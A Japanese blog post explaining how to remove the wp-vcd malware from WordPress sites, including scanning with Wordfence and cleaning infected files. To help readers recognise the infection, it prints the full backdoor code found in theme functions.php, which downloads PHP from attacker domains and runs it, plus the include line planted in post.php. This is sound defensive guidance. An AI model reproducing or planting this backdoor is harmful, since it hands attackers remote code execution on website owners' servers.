Web関連

WordPressのマルウエアを削除する方法 完全ガイド (wp-vcd.phpなど)

こんにちは。

今回の記事ではWordPressがマルウェアに感染してしまった時の対処方をご説明します。

 

まずはスキャン

とにもかくにも、まずは原因を突き止める必要があります。そのために、「Wordfence」という無料プラグインをインストールして有効化します。

Wordfence Security – Firewall & Malware Scan

 

 

 

そして「Wordfence」>「Scan」に進みます。「START NEW SCAN」をクリックしていスキャンを行います。

 

スキャンには時間がかかりますが、完了すると問題のある部分のリストが表示されます。

この中で「Critical」という項目は必ず修正する必要があります

 

主な原因

原因はいくつかありますが、基本的に以下の部分が問題になることが多いです。

 

① wp-vcd.phpの削除

マルウェアにおいて1番よくあるのがこちらのファイルを追加されていることです。

FTPでアクセスして、 wp-includes/wp-vcd.php にインストールされたこのファイルを削除する必要があります。

 

② wp-feed.php の削除

同時に wp-includes/wp-feed.php に 勝手にファイルを作成されていることがあるので「wp-feed.php」も削除します。

 

③ テーマ内の functions.php の修正

↑このような表示があるので、テーマ内のfunctions.php のファイルを修正します。この警告が出ていれば、functions.php 内の先頭に以下のコードが挿入されていることが多いので確認してから削除をしましょう。

 

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '94d7c9be1abb7310b4c554fc3bfc8528'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='bd77cd4ba9fae84678e6f1b5cf9b9665';
        if (($tmpcontent = @file_get_contents("http://www.krilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.krilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.krilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.krilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

 

慣れない場合は自分でやるのはオススメできません。間違ってfunctions.phpファイルの中身を消してしまうとサイトが表示されなくなってしまいます。

もしヘルプが必要ということでしたら僕の方でも対応できるので、お問い合わせフォームからご連絡いただければと思います。

また、1つのテーマにこの警告が見つかったら、他のテーマの functions.php にも感染していることが多いです。必ず確認しましょう。また、使っていないテーマがあればこの際に削除してしまってもいいです。

 

↑テーマの functions.php のこの部分から上を削除します。

 

post.php の修正

以下のように post.php ファイルにも「Critical」という警告が出ますが、削除をしてはいけません。こちらもファイル内を修正する必要があります。

FTPで wp-includes/post.php にアクセスをして、以下の部分を削除します。こちらも基本的には先頭に追加されています。

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

 

 

 

⑤ その他ファイルの修正

その他に「Critical」が表示されている部分は必ず修正する必要があります。

その以下は例になります。こちらが表示されていたら、該当するファイルを開いて、指定された箇所を削除します。こちらも慣れない場合は自分でやらない方がいいです。

 

 

サーバー内の他のサイトも確認して下さい

このようにマルウエアが確認されたら、同じサーバーの他のWordPressのサイトも感染していることが多いです。ですので、必ず他のサイトも確認するようにしましょう。

  • 公式サイトからダウンロードしていない海賊版のテーマ・プラグインを使用している
  • アカウント情報(ユーザー名・パスワード)が簡単すぎる
  • WordPressの公式サイトから削除されたプラグインを使用している
  • WordPressのバージョンが古い

↑できるだけこの項目に気をつけるようにしましょう。

 

Wordfenceのプラグインを使って、定期的にスキャンをするようにしましょう。

 

記事を表示する

旅人ほだ

貴重なお時間をこのブログに割いていただきありがとうございます :) 将来不安なジャパンから脱出するために色んな国で生活をしている平成生まれです。旅人と言っていますが、ただ海外にいるだけです笑。自己満足の旅よりも人助けをして生きていたいので現地の人と関われるスタイルを求めて今こんな感じ。起業家、投資家、Webデザイナー、アプリ開発者、投資家、ラジオパーソナリティ、写真家、ギタリストとかなり多趣味で大体のことは人並み以上にできます。ここ数年はネットで稼いだお金だけで生活中。誰もやらないようなことが大好物。僕の作ったアプリは世界201カ国でダウンロードされています。 あ、ブログではテンション高めですが、実際は静かな人間です :)
Back to top button